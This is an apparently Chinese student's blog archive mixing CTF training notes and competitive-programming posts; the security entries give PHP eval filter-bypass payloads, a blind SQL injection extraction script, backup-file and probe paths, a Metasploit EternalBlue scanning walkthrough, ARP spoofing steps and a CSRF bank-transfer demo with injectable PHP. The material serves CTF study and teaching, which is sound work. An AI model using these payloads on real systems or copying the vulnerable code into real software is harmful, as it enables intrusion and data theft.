return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

>/dev/null 2>&1

这句代码得拆开看先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下，/dev目录一般是设备挂载目录，而null就是空设备的意思，因此就是让输出结果不要输出到任何设备上，包括你的屏幕，而是消失在茫茫太空中接着是2>&1，首先要知道2在linux标准输出中表示的是错误报错，1是正常输出，所以这句意思是将错误报错也重定向到1输出的地方，而因为1输出已经被丢到太空里，所以2也会跟着他一起流浪

[靶场笔记]第三章

Tue, 16 May 2023 00:00:00 +0800

伪随机

mt_srand这个函数是伪随机，给了随机种子，生成随机数都是固定的
另外，随机种子会因为php版本不同而不同，种子计算可以用工具php_mt_scrand

nl查询

其实这里想说的是任意执行这个大类，在一些题目中可能会有奇怪的过滤，执行查询时如果cat不行可以试试nl，另外记得看一看网页源代码

一种很特殊的函数绕过法

show_source(next(array_reverse(scandir(pos(localeconv())))));

不要被这一长串吓到了，如果flag文件说带有.且已经被过滤的，就可以用这方法
首先localeconv第一个元素是.，pos只返回第一个元素，scandir扫描当前目录并存入数组，array_reverse以相反的元素顺序返回数组，next输出当前元素的下一个元素值，最后再用show_source高亮输出

是不是很神奇？

一种也很特殊的叠加方法

仔细观察下面这段php

$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

再仔细观察下面这个段get请求参数

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

学会了吗？

Get请求变量

经常看到以一个单词作为接受请求的变量，如下

$_GET["url"]

但其实把“url”换成1是可以的，这样就能达到绕过双引号过滤的目的。
同理，单个字母也是可以的

两段php代码

如果碰到了一个eval函数，那么首当其冲可以先写一个?>对前面的php进行闭合，这样再怎么过滤也不会过滤到后面的代码上了
不过需要注意的是，就算后面代码运行时不会过滤，但不代表代码输入进去时不会被过滤一遍，举个例子

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

这段代码的1变量内容不会被过滤，但c仍然会

[技术杂谈]XUJC Lab搭建心得

Sun, 14 May 2023 00:00:00 +0800

这段时间忙着弄学校的靶场，都没时间写博客，那就简单地总结一下靶场搭建时候遇到的几个大坑

绝对不是为了水文章

动态题目容器部署

动态flag

动态题目部署最常遇到的问题，就是flag没法挂载

原理是什么呢？

靶场使用的框架是CTFd V2.1.5，适配的动态部署插件是ctfd-owl

一开始我以为owl插件和赵师傅的ctfd-whale插件实现原理是一样的，就依葫画瓢地去clone了CTFTraining，结果发现部署是能部署了，却怎么也调不到想要的动态flag

随便打开一道题的docker-compose.yml，发现预留了一个environment属性，用来修改FLAG环境变量的值

由于前面部署发现flag并没有随不同容器而改变，因此可以推测出owl和whale插件不一样的地方就在动态flag的修改方式不同
因为owl自带了一道题目作为test，并且是一道file upload

对照后发现了一个flag的文件映射，再根据进入容器查看后发现，确实在容器根目录下成功写入了动态flag
因此再次推断，flag就是通过外部flag文件被写入后再映射进去的

但还有一个问题是，如果题目是一些类似sql注入这样的题目，答题者无法直接读取flag文件的，要怎么办呢？
不慌，回到刚刚说到的environment属性
在一道sql注入题的Dockerfile中发现CMD命令会执行一个叫flag.sh的shell文件，文件内容如图

上图的FLAG是我自己添加进去的，在原版CTFTraining中是没有’cat /flag‘这句代码的。这里经过查阅，发现export为设置环境变量，所以如果想让flag写入到数据库中，就可以通过这样的形式写入进去

环境变量配置

正如上面所说，想要给一些无法直接接触到flag文件的题目配置动态flag，就需要使用环境变量赋值。可是，当我再一次进行尝试时，发现还是部署不上去，导致在这个地方卡了整整两天

直到某天在群上，我被罗少的一句话点醒

“用./形式运行的子shell是无法修改父shell环境变量的，但用source运行的话就不是子shell运行，而是直接被系统shell运行”

打开Dockerfile后发现，CMD命令的确使用的是./运行方法，修改后如下

就成功解决问题啦~
（还是要感谢罗少的提示）

无法修改的容器

当我修改完我的docker配置文件后，正当一切准备就绪，激动地按下docker-compose up -d后，发现容器非但没给我部署上正确flag，甚至连原本自带的flag都没了，在这个地方又卡了整整一天
正当我百思不得其解的时候，胡乱翻看网上博客，才想起来在docker-compose中还带有image这个属性，经过翻看文档后才得知，docker compose在部署容器集群时，会优先根据image属性读取镜像库中的镜像，而不是利用Dockerfile的配置自己制作容器。
就这样，删掉image属性和本地悬挂镜像后，一切便大功告成

（果然还是得听罗少的话，用什么之前都得好好看文档）

就先写到这儿了，要是碰到什么问题再补充叭

[靶场笔记]第二章

Tue, 25 Apr 2023 00:00:00 +0800

备份文件

常见的源码泄露有以下几种
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏，还有以.phps .bak
重要的是，上面这些备份文件不一定能被dirsearch扫描到

include函数

在php中，include有一条你可能不仔细斟酌就没法理解的话

如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 \ 开头，在 Unix/Linux 下以 / 开头）还是当前目录的相对路径（以 . 或者 .. 开头）——include_path 都会被完全忽略。例如一个文件以 ../ 开头，则解析器会在当前目录的父目录下寻找该文件。

什么意思呢？如果你有一个路径叫source.php?/../../../../ffffllllaaaagggg，那么在include执行时将忽略/前的字符串而去找/../../../../ffffllllaaaagggg这个文件
并且，你不需要担心这个..回溯写太多了，记住，include会从父级文件搜起，就算你从根目录开始搜也能找到答案

vim备份泄露

后缀是.swp,emm是我经常忘的一个后缀

域名TXT

域名解析的时候会有个叫TXT的附加信息，里面可能藏着东西

页面信息

一定要记得检查页面中的信息，每个可能出现按钮的地方都给他点几下

探针泄露

有种东西叫探针，是用来检测网站搭建时情况的
如果忘记删掉，那么网站信息基本上将被一览无余
经典探针有这些：

php雅黑探针 tz.php
UenuProbe探针
UPUPW PHP 探针 u.php
B-Check探针
iProber探针
浪点PHP探针
C1G PHP探针 phpenv2.1.php
9Gan php探针

js文件

虽然很多时候js文件进不去，但还是得习惯性看一下，有可能存在必须绕过的地方

IP过滤

IP出现问题直接上X-forwarded-For: 127.0.0.1

asp程序和access数据库结合体

这种奇怪的东西一般会存在一个mdb文件（目录：~/db/db.mdb），可以改成txt后缀打开

sql备份

有时候会存在类似像backup.sql这样的备份文件，记得试试（敢这样存的真的不会被骂吗）

Echo战队第18次培训——Metasploit之“永恒之蓝”漏洞利用

Sun, 23 Apr 2023 00:00:00 +0800

一、环境准备

1 一台Windows电脑

（可以使用虚拟机代替）

2 Metasploit任意平台

可以是Windows版，可以是kali自带版

二、 CVE-2017-0144 介绍

1.何为CVE-2017-0144？

CVE-2017-0144 既永恒之蓝最早爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日，不法分子通过改造“永恒之蓝”制作了勒索病毒，使全世界大范围内遭受了勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。

2.什么是SMB协议？

SMB是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么？

（1）：首先客户端发送一个SMB negport 请求数据报，，并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求，并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH，结束通信。

（2）：协议确定后，客户端进程向服务器发起一个用户或共享的认证，这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器，然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

（3）：当客户端和服务器完成了磋商和认证之后，它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称，之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

（4）：连接到相应资源后，SMB客户端就能够通过open SMB打开一个文件，通过read SMB读取文件，通过write SMB写入文件，通过close SMB关闭文件。

三、原理永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

四、CVE-2017-0144 利用方法

1 启动Metasploit

终端里输入 msfconsole

2 查询利用模块

终端里输入 search ms17_010

3 使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010

4 设置探测范围

终端内输入 show options

上图中我们可以看到是需要配置一个RHOSTS

终端内输入 set rhosts 192.168.3.0/24 （设置扫描当前网段可以通过在终端内输入ip a 查看）

也可以设置范围 set rhosts 192.168.3.1-192.168.3.10

[靶场笔记]第一章

Wed, 05 Apr 2023 00:00:00 +0800

养成题后整理是一个很好的习惯，尽管有点累而且麻烦，但至少能够方便自己回顾错误的地方

web服务器默认访问日志文件

首先是nginx

/var/log/nginx/access.log

里面记录了每次用户访问后的User-Agent

同样，Apache也有

/var/log/httpd/access_log

当然Apache的我没有具体验证过，可靠性有待考究

弱比较漏洞

参考博客：PHP弱类型比较（松散比较）方面的漏洞

SQL盲注

盲注其实就是通过页面的特殊响应猜测注入结果是否正常。下面主要分享一下几种常见绕过

过滤空格, 可以使用括号() 或者注释/**/ 绕过
过滤and, 可以使用or替代
过滤union, 可以用盲注替代联合注入
过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1)，这里**可以用substr(database() from 1 for 1)来代替**

下面是一个常见的脱库脚本

import requests
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()

信息搜集

肯定会经常见到页面一片空白的情况，或者只有短短的一句类似“where is flag？”这样看着就来气的风凉话
dirsearch就是个不错的信息搜集工具，这里只做提醒，不做详细介绍

Echo战队第17次培训——个人博客搭建

Sun, 02 Apr 2023 00:00:00 +0800

众所周知，一个完整博客网站的组成离不开必要的三件套

1.网站基本框架 2.运行网站的服务器 3.一个自己喜欢的域名

可以说是缺一不可下面就带大家看看完整的博客网站是如何被搭建起来的

准备工作

1.网站框架——Typecho

Typecho 是国内开发者开发的一款开源免费的动态博客程序，可以运行在基于 PHP 环境的各种平台上。

官网：Typecho Official Site GitHub：typecho: A PHP Blogging Platform. 相比于同为动态博客并且广为人知的 WordPress 来说，Typecho 的一大特点就是 “精简”。全部文件不足 500KB，但却也实现了完整的主题和插件支持。博客程序很轻量，资源占用也很低，原生支持 Markdown 语法。属于省心并且简洁的博客类型。

2.服务器购买

这里我推荐桔子数据的香港云，关键是价格便宜（不是广告！）这里是传送门

个人建议买这个配置随意，但是系统记得选择Ubuntu 20

等待机器初始化完成后再点开安全组用ssh为名字添加一组新的策略，再点击应用即可

3.域名购买

域名推荐在 Namesilo 购买，价格便宜，同时赠送永久免费的隐私保护。

官网：Namesilo

首先注册账户。注册信息建议使用美国生成信息，国家选择美国（United States），并勾选 “Keep my information private” 默认使用隐私保护。然后搜索想要注册的域名，进行购买。

设置域名续费规则、注册时长等。在 “Have a Coupon……” 处输入优惠码 okoff 或者 go2think ，点击 “Submit” 应用，优惠一美元。

完成后点击 “CONTINUE” 付款，支持支付宝和 Paypal

之后进行域名解析。先进行登录

进到个人主页后点击

[我和我的deep learning] 神经网络是什么？

Thu, 30 Mar 2023 00:00:00 +0800

如果有人不相信数学是简单的，那是因为他没有意识到人生有多复杂 ——冯・诺伊曼

让我们先从一个超简单的道理说起。
计算机，应该都有吧？它比人类更擅长的事情是什么？答案肯定是计算
但假如有一张图片摆在你和你的电脑面前

你会第一眼看到什么？一只猫？一块木板？这对你来说不是什么困难的事情
但相比之下，你的电脑要看得懂这张图片，并不是那么容易，事实上，是很困难的

因此我们有理由怀疑观看图片内容这项功能是需要人类智能的，而这是机器所缺乏的
无论我们的机器多复杂多强大，它们依然不是人类
但正因为计算机速度非常快，并且不知疲倦，我们也可以希望计算机能够更好的解决识别图片这项功能
人工智能探讨的就是这项难题

当然，计算机将永远使用电子器件制造，因此人工智能的研究任务就是找到新方法或者新算法，尝试求解这类相对困难的问题。即使不能完美解决，但我们只要求计算机足够出色，让人觉得这是智能的作用

下一章：神经网络是怎么工作的？

Echo战队第16次培训——CDN原理、ARP欺骗、奈菲解锁原理1

Thu, 30 Mar 2023 00:00:00 +0800

CDN原理

我们先来看一下正常上网的拓补图

图中是一个正常的网站请求，这个应该不难理解
但不知道你有没有注意到一个问题，如果这个网站是一个被架设在大洋彼岸的网站，那么网站的内容要想从地球的另一端来到你的电脑，得有多费劲？
所以聪明的人类就发明出了一种十分暴力但却有效的方法来解决这一世纪难题，也就是将网站的内容先缓存到一台离你的电脑比较近的服务器上存起来，等你要用的时候直接调用这台服务器上的内容就行。而这种技术，就被叫做CDN存储技术（Content Delivery Network）
这样的方法看着简单，但却十分有效。不过也有一个致命硬伤，就是你没法保证你所访问内容的时效性。因为听名字就知道，缓存，就是暂时存储的意思，那就必然会有时间差的存在。而这个时间差的大小也就取决于网站管理者，不过一般来说这个时间差和网站访问速度是成反比的

不过对于科学上网而言，内容储存并不是我们关注的重点。重点是CDN服务所提供的域名。对于一个可以高速裸奔的科学上网的节点，其最大的痛处想必就是稳定性没法得到保证。因此，想办法提升稳定性就变成了非安全节点的关键。而一个节点之所以会被长城防火墙干趴，本质上就是节点ip或域名被拉了黑名单。
而CDN的存在就误打误撞地解决了这个问题。

当防火墙在探测你的节点ip时，碰到的确实CDN的域名。而CDN本身只起到了挡箭牌的作用，就算一个CDN域名被拉黑了，再把你的节点服务器重新再部署一个就行了。而且整个过程都是免费的（如使用cloudlare），这对科学上网来说简直就算一大神器。

但CDN也不是完全没有缺点。CDN确实能够保障你的节点安全，但速度却大打折扣。从上面的原理图里应该可以看出CDN服务器其实本身就是一个挂在墙外的东西，即便你的节点本身速度够快，但被CDN这么一折腾，也还是会有很大程度上的降速。因此，给你的节点套CDN作为一个备选方案，才算是一个不错的选择

ARP欺骗

ARP（Address Resolution Protocol），中文解释为地址解析协议，是根据IP地址获取物理地址的一个TCP/IP协议。

ARP大致工作流程如下：
主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址。
收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。
地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存（重点来了，我们要利用的就是这个点！）
攻击者可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。
那么我们如何利用ARP协议来进行断网攻击呢？大致思路如下：
首先，ARP是建立在网络中各个主机互相信任的基础上的，它的诞生使得网络能够更加高效的运行，但其本身也存在缺陷：
ARP地址转换表（ARP缓存）是依赖于计算机中高速缓冲存储器动态更新的，而高速缓冲存储器的更新是受到更新周期的限制的，只保存最近使用的地址的映射关系表项，这使得攻击者有了可乘之机，可以在高速缓冲存储器更新表项之前修改地址转换表，实现攻击。ARP请求为广播形式发送的，网络上的主机可以自主发送ARP应答消息，并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表，这样攻击者就可以向目标主机发送伪ARP应答报文，从而篡改本地的MAC地址表。这就是所谓的APR欺骗攻击。
ARP欺骗可以导致目标计算机与网关通信失败，更会导致通信重定向，所有的数据都会通过攻击者的机器，因此存在极大的安全隐患，这里我们是使目标主机通信失败，之后的教程会介绍重定向的方法。
ARP攻击大致流程如下：

第一步：假设主机A访问某网站，那么要告知某网站我的IP和MAC地址，但这是以广播的方式告知的。
第二步，由于是广播方式告知，猥琐的B主机也知道了A的IP和Mac地址，于是猥琐的B主机把自己伪装成某网站，给A发送回复，A误以为B就是某网站，因此更新了自己本机的ARP缓存。
第三步，两者建立连接，A不断将自己的请求发给B，可怜的某网站被挂在一遍了。如果B转发A的请求给某网站，再转发给A，那相当于A的流量都从B经过，这就是步骤4，因此可以会话劫持；如果B给A的是一个假地址，那么可怜的A永远上不了网了。

Echo战队培训番外——CSRF伪造银行转账请求漏洞复现

Fri, 24 Mar 2023 00:00:00 +0800

“欺骗的最高境界，就是不说任何一句假话”

昨天和实验室的朋友在聊天时提到了一些典型的漏洞案例，我用白话向他们介绍了一些攻击手段，不乏ARP欺骗、metaploit病毒制作、常规抓包等，其中“访问一些不该访问的页面就能把你银行卡里的钱转走”好像让他们比较提起兴趣，正好之前给Echo培训的时候也演示过，反映还不错。下面我尽量用所有0基础者都能听懂的话，再复现一遍整个过程

下面来介绍一下实验环境

环境

受害者：windows 7，chrome浏览器攻击者：windows 11（黄色网站运营者）银行：windows 7,Mysql 5.7数据库

背景

有三个银行账户，账户ID、密码、原始金额如下

实验开始

（实验确保严格按照下面步骤进行，无多余操作）某天康康想给杰瑞转1000块钱，于是就正常地打开了银行的网站并登录，看到了自己账户的余额和转账的界面

出于平时“网上冲浪”的经验，对于1000块的巨款，康康谨慎地打开了所有杀毒软件，在确保了“全盘扫描”全部正常并绿灯通行后，才输入了杰瑞银行账号并进行了转账杰瑞此时也收到了这1000块钱，这一切似乎都很安全并且正常，至少目前为止是这样的转完帐后闲来无事的康康，打算看点网站来保障青少年的身心健康，于是他“安全退出”了银行账户后，便进入了下面这个网站激动的康康决定马上接受美女荷官的邀请，于是他便点进了链接在经过一番荷官的心理辅导后，康康看了一眼自己的手机，发现手机短信似乎多了一条来自银行的短信。嗯？1000块转账？怎么转给杰瑞的钱到现在才提醒不信邪的康康决定打开账户一探究竟，但让他不解的是，为什么银行卡里的钱又少了1000？不行，一定是我眼花了，嗯，一定是辅导还不到位，再看一遍就好了机智的康康再次刷新了荷官的页面又过了一段时间，康康再次返回银行账户界面，7000？？wtf？？康康急忙打电话给杰瑞，发现杰瑞的账户里只收到了最开始的1000块这期间究竟发生了什么呢？让我们切换一下视角，从银行的数据库这个“上帝视角”来一探究竟你一定已经发现了康康的2000去了哪，但是这期间究竟发生了什么呢？

原理分析

我们先来看一下CSRF漏洞的wiki定义其实简单来说就是以利用受害者本身被银行信任的设备请发起正常的转账请求，但显然CSRF漏洞的应用远不止这一种我们先来看一下正常银行转账页面发起转账请求的代码

<?php
include("config.php");
if(isset($_COOKIE["userid1"]) && isset($_COOKIE["pass1"]))
{
$TOID=$_GET['nameid'];
$TOMONEY= $_GET['balance'];
include("conn/conn.php");
$sql=$db->query("select * from account where userid='".$TOID."'");
$sqlres = $sql->fetch();
if($sqlres['userid'] != $TOID)
{
echo "<script language=\"javascript\">";
echo "alert('用户名或密码错误!')";
echo "return(true)";
echo "location.href=\"default.php\"";
echo "</script>";
}
$balance_new = $TOMONEY + $sqlres['balance'];
$sql=$db->exec("update account set balance='".$balance_new."' where userid='".$TOID."'");
$sql=$db->query("select * from account where userid='".$_COOKIE['userid1']."'");
$sqlres = $sql->fetch();
$balance_new = $sqlres['balance']- $TOMONEY;
$sql=$db->exec("update account set balance='".$balance_new."' where userid='".$_COOKIE['userid1']."'");
echo "<script language=\"javascript\">";
echo "location.href=\"default.php\"";
echo "</script>";
}
?>

可以看到整个过程其实很好理解，就是调用银行本身数据库进行数据增减接下来我们再看看荷官页面的代码，相信你就知道问题出在哪里了

[XUJCOJ] 2023天梯赛校内选拔赛

Sat, 18 Mar 2023 00:00:00 +0800

记录部分题目

8：常规赛排名

描述

一场常规赛需要参赛双方进行至多三局游戏来决出胜者（先赢两局者胜）。

赢得一场常规赛可以为战队获取 1 个场次分，输掉一场常规赛则无事发生。

同时，每赢得一局游戏可以为战队获取 1 个游戏分，输掉一局游戏则会失去 1 个游戏分。

例如 TeamA 和 TeamB 的游戏结果是 2:1，那么本场比赛结束后，TeamA 获得 1 个场次分和 1 个游戏分，TeamB 只失去 1 个游戏分。

具体排名规则如下：

优先按照场次分高低排名，场次分相同的，则按照游戏分从高到低排名，仍然相同的，则按照战队名称的字典序从小到大排。

输入
第一行是一个正整数 n 表示总共的常规赛场次。（1 ≤ n ≤ 105）

接下来 n 行，每行包含两个字符串和一个比分，表示参赛双方的战况。

战队名称仅包含大小写字母且长度不超过 10，比分只会是 0:2、1:2、2:1、2:0 中的一个。

输出
按排名规则的顺序输出若干行，每行包括：战队名场次分游戏分。

样例输入
3

TeamA TeamB 2:1

TeamB TeamC 2:0

TeamA TeamC 1:2

样例输出
TeamB 1 1

TeamA 1 0

TeamC 1 -1

思路

这是一道模拟题，需要模拟比赛过程并统计每个队伍的分数。我们可以使用一个unordered_map来存储每个队伍的信息，使用一个结构体Team来表示每个队伍的名称、场次分和游戏分。对于每一场比赛，我们可以解析输入并根据比分更新每个队伍的信息。如果某个队伍赢了比赛，它的场次分和游戏分都会增加；如果它输了比赛，则它的游戏分会减少。

一旦我们统计了每个队伍的分数，我们可以将它们放入一个vector中，并使用一个compare函数对它们进行排序，以便根据场次分、游戏分和队伍名称的字典序输出排名。最后，我们遍历排好序的vector并输出每个队伍的信息。

总之，这道题的思路比较简单，重点在于正确解析输入并更新每个队伍的信息。我们需要考虑所有可能的比分情况，并使用一个unordered_map来快速查找每个队伍的信息。

代码

#include <iostream>
#include <vector>
#include <string>
#include <unordered_map>
#include <algorithm>
#include <sstream>
using namespace std;
struct Team {
string name;
int matches_won;
int game_points;
};
bool compare(const Team& a, const Team& b) {
if (a.matches_won == b.matches_won) {
if (a.game_points == b.game_points) {
return a.name < b.name;
}
return a.game_points > b.game_points;
}
return a.matches_won > b.matches_won;
}
int main() {
int n;
cin >> n;
cin.ignore();
unordered_map<string, Team> teams;
for (int i = 0; i < n; ++i) {
string line;
getline(cin, line);
istringstream iss(line);
string team1, team2;
char delimiter;
int score1, score2;
iss >> team1 >> team2 >> score1 >> delimiter >> score2;
if (score1 > score2) {
teams[team1].matches_won++;
teams[team1].game_points += (score1 - score2);
teams[team2].game_points -= (score1 - score2);
} else {
teams[team2].matches_won++;
teams[team2].game_points += (score2 - score1);
teams[team1].game_points -= (score2 - score1);
}
teams[team1].name = team1;
teams[team2].name = team2;
}
vector<Team> team_list;
for (const auto& team : teams) {
team_list.push_back(team.second);
}
sort(team_list.begin(), team_list.end(), compare);
for (const auto& team : team_list) {
cout << team.name << " " << team.matches_won << " " << team.game_points << endl;
}
return 0;
}

9：炉石传说-沉没之城

描述
小卢在玩某款卡牌游戏，每个回合中，他可以执行以下三种操作任意次。

[重返NOIP] 模拟——NOIP2006 提高组作业调度方案

Wed, 15 Mar 2023 00:00:00 +0800

题目描述

我们现在要利用 m 台机器加工 n 个工件，每个工件都有 m 道工序，每道工序都在不同的指定的机器上完成。每个工件的每道工序都有指定的加工时间。

每个工件的每个工序称为一个操作，我们用记号 j-k 表示一个操作，其中 j 为 1 到 n 中的某个数字，为工件号； k 为 1 到 m 中的某个数字，为工序号，例如 2-4 表示第 2 个工件第 4 道工序的这个操作。在本题中，我们还给定对于各操作的一个安排顺序。

例如，当 n=3,m=2 时，1-1,1-2,2-1,3-1,3-2,2-2 就是一个给定的安排顺序，即先安排第 1 个工件的第 1 个工序，再安排第 1 个工件的第 2 个工序，然后再安排第 2 个工件的第 1 个工序，等等。

一方面，每个操作的安排都要满足以下的两个约束条件。

对同一个工件，每道工序必须在它前面的工序完成后才能开始；
同一时刻每一台机器至多只能加工一个工件。

另一方面，在安排后面的操作时，不能改动前面已安排的操作的工作状态。

由于同一工件都是按工序的顺序安排的，因此，只按原顺序给出工件号，仍可得到同样的安排顺序，于是，在输入数据中，我们将这个安排顺序简写为 1 1 2 3 3 2。

还要注意，“安排顺序”只要求按照给定的顺序安排每个操作。不一定是各机器上的实际操作顺序。在具体实施时，有可能排在后面的某个操作比前面的某个操作先完成。

例如，取 n=3,m=2 ，已知数据如下（机器号/加工时间）：

工件号	工序 1	工序 2
1	1/3	2/2
2	1/2	2/5
3	2/2	1/4

则对于安排顺序 1 1 2 3 3 2，下图中的两个实施方案都是正确的。但所需要的总时间分别是 10 与 12 。

[issue]关于近期发现洛谷判题错误的求证

Mon, 13 Mar 2023 00:00:00 +0800

不知道有没有人遇到和我一样的问题

近日突然想起来洛谷部分题目存在判断失误问题（包括之前遇到过的一些题已经忘记题号），以下面两道题为例，贴出我的得分情况、输出情况和代码（已确认无空格和换行等差异）

P1067

我的代码

#include<stdio.h>
int main(){
int n,t;
scanf("%d",&n);
t=n;
while(n--){
int a;
scanf("%d",&a);
if(n!=0){
if(a>0&&(a!=1&&a!=-1)){
if(t==n+1)
printf("%dx^%d",a,n+1);
else
printf("+%dx^%d",a,n+1);
}else if(a==-1||a==1){
if(a>0&&t==n+1)
printf("x^%d",n+1);
else if(a>0&&t!=n+1)
printf("+x^%d",n+1);
else
printf("-x^%d",n+1);
}else if(a<0&&(a!=1&&a!=-1)){
printf("%dx^%d",a,n+1);
}else{
t--;
}
}
else{
if(a>0&&(a!=1&&a!=-1)){
if(t==n+1)
printf("%dx",a);
else
printf("+%dx",a);
}else if(a==-1||a==1){
if(a>0&&t==n+1)
printf("x");
else if(a>0&&t!=n+1)
printf("+x");
else
printf("-x");
}else if(a<0&&(a!=1&&a!=-1)){
printf("%dx",a);
}else{
t--;
}
}
}
int a;
scanf("%d",&a);
if(a>0&&t!=0)
printf("+");
printf("%d\n",a);
}

AC代码

#include <bits/stdc++.h>
using namespace std;
int main()
{
int n,a,i;
cin>>n;
for(i=n;i>=0;i--)
{
cin>>a;
if(a)
{
if(i!=n&&a>0) cout<<"+";
if(abs(a)>1||i==0) cout<<a;
if(a==-1&&i) cout<<"-";
if(i>1) cout<<"x^"<<i;
if(i==1) cout<<"x";
}
}
return 0;
}

P1098

这道题只下载了第7个测试点

[重返NOIP] 模拟——NOIP2009 普及组多项式输出

Tue, 07 Mar 2023 00:00:00 +0800

题目描述

一元 n 次多项式可用如下的表达式表示：

f(x)=a_nx^n+a_{n-1}x^{n-1}+ … +a_1x+a_0,a_n> 0

其中， a_ix^i 称为 i 次项， a_i 称为 i 次项的系数。给出一个一元多项式各项的次数和系数，请按照如下规定的格式要求输出该多项式：

多项式中自变量为 x ，从左到右按照次数递减顺序给出多项式。
多项式中只包含系数不为 0 的项。
如果多项式 n 次项系数为正，则多项式开头不出 + 号，如果多项式 n 次项系数为负，则多项式以 - 号开头。
对于不是最高次的项，以 + 号或者 - 号连接此项与前一项，分别表示此项系数为正或者系数为负。紧跟一个正整数，表示此项系数的绝对值（如果一个高于 0 次的项，其系数的绝对值为 1 ，则无需输出 1 ）。如果 x 的指数大于 1 ，则接下来紧跟的指数部分的形式为“ x^b ”，其中 b 为 x 的指数；如果 x 的指数为 1 ，则接下来紧跟的指数部分形式为 x ；如果 x 的指数为 0 ，则仅需输出系数即可。
多项式中，多项式的开头、结尾不含多余的空格。

输入格式

输入共有 2 行

第一行 1 个整数， n ，表示一元多项式的次数。

[洛谷] P4924 魔法少女小Scarlet

Mon, 06 Mar 2023 00:00:00 +0800

题目描述

Scarlet 最近学会了一个数组魔法，她会在 n* n 二维数组上将一个奇数阶方阵按照顺时针或者逆时针旋转 90° 。

首先，Scarlet 会把 1 到 n^2 的正整数按照从左往右，从上至下的顺序填入初始的二维数组中，然后她会施放一些简易的魔法。

Scarlet 既不会什么分块特技，也不会什么 Splay 套 Splay，她现在提供给你她的魔法执行顺序，想让你来告诉她魔法按次执行完毕后的二维数组。

输入格式

第一行两个整数 n,m ，表示方阵大小和魔法施放次数。

接下来 m 行，每行 4 个整数 x,y,r,z ，表示在这次魔法中，Scarlet 会把以第 x 行第 y 列为中心的 2r+1 阶矩阵按照某种时针方向旋转，其中 z=0 表示顺时针， z=1 表示逆时针。

输出格式

输出 n 行，每行 n 个用空格隔开的数，表示最终所得的矩阵

样例 #1

样例输入 #1

样例输出 #1

5 10 3 18 15
4 19 8 17 20
1 14 23 24 25
6 9 2 7 22
11 12 13 16 21

提示

对于50%的数据，满足 r=1

[重返NOIP] 高精度——NOIP1998 普及组阶乘之和

Mon, 06 Mar 2023 00:00:00 +0800

题目描述

用高精度计算出 S = 1! + 2! + 3! + … + n! （ n <= 50 ）。

其中 ! 表示阶乘，定义为 n!=n (n-1) (n-2) … 1 。例如， 5! = 5 4 3 2 1=120 。

输入格式

一个正整数 n 。

输出格式

一个正整数 S ，表示计算结果。

样例 #1

样例输入 #1

样例输出 #1

提示

【数据范围】

对于 100 % 的数据， 1 <= n <= 50 。

思路

看了一下大部分题解，其实也没有别的考察点，主要就是高精加套高精乘，方法也有很多，下面主要介绍两种该思路的实现方法

